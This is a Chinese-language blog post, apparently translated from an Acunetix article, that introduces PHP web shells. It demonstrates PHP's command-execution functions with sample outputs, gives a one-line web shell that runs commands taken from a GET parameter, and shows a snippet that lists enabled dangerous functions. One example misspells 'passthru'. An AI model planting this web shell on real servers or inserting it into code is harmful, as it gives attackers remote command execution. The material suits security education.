webshell 系列2: 使用PHP写webshell

admin 2023年2月25日13:05:22评论36 views字数 2933阅读9分46秒阅读模式

使用PHP语言来编写webshell,有不少例子

译自https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/

webshell几乎存在你可以想到的任何一个web编程语言。在这里聚焦于PHP,因为**PHP是最好的编程语言**。

PHP web shell只不过是使用内置的PHP函数来执行命令。以下是在PHP中用于执行shell命令的一些最常见的函数。

system

system函数接收命令作为参数,并且输出结果。

下面是在Windows下用PHP运行dir命令

<?php
// Return the listing of the directory where the file runs (Windows)
system("dir");
?>

--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:webserverwwwdemo

02/27/2020 10:21 PM <DIR> .
02/27/2020 10:21 PM <DIR> ..
02/27/2020 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Linux执行ls命令

<?php
// Return the listing of the directory where the file runs (Linux)
system("ls -la");
?>

-->
 total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

执行其它命令

<?php
// Return the user the script is running under
system("whoami");
?>

--> www-data

exec

exec函数接收命令作为参数,但不会输入结果。如果指定第二个可选参数,结果会返回到一个数组。否则,如果echo的话,只会显示最后一行结果。

<?php
// Executes but returns nothing
exec("ls -la");
?>

-->

使用echo

<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>

--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

指定第二个参数

<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec

shell_execexec类似,但它会以字符串方式输出整个结果

<?php
// Executes, returns the entire output as a string
echo shell_exec("ls -la");
?>
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . 
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. 
-rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru

passthru会执行一个命令,返回原始格式的结果

<?php
// Executes, returns output in raw format
passsthru("ls -la");
?>

-->
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . 
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. 
-rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open

proc_open函数会建立一管道,维持脚本和运行的程序之间的通信

反引号

PHP可以把`(反引号)里内容当作shell命令执行。

<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>

--> www-data

按照上面,下面是一个PHP webshell最简单的方式

<?php system($_GET['cmd']);?>

它使用system函数来执行通过HTTP请求GET参数cmd传递的命令。

webshell 系列2: 使用PHP写webshell

web shells image 2

我们已经确定,这些函数(以及其他几个函数)可能非常危险。更危险的是,在安装PHP时,所有这些内置PHP命令在默认情况下都是启用的,而大多数系统管理员都不会禁用它们。

如果不确定系统上是否启用了这些功能,下面语句将返回已启用的危险功能的列表。

<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>

在默认安装,可以看到这些函数是开启的。

Array
(
    [505] => exec
    [506] => system
    [509] => passthru
    [510] => shell_exec
    [511] => proc_open
    [624] => show_source
    [645] => parse_ini_file
    [684] => popen
)

=========================================

文中和文末的小广广,渴望你手指的触碰!!!

请关注,转发,点“在看”,谢谢!!

如需要转载,请在公众号留言!!


请关注

在对话框输入“95c8f

原文始发于微信公众号(奶牛安全):webshell 系列2: 使用PHP写webshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月25日13:05:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell 系列2: 使用PHP写webshellhttps://cn-sec.com/archives/1574058.html

发表评论

匿名网友 填写信息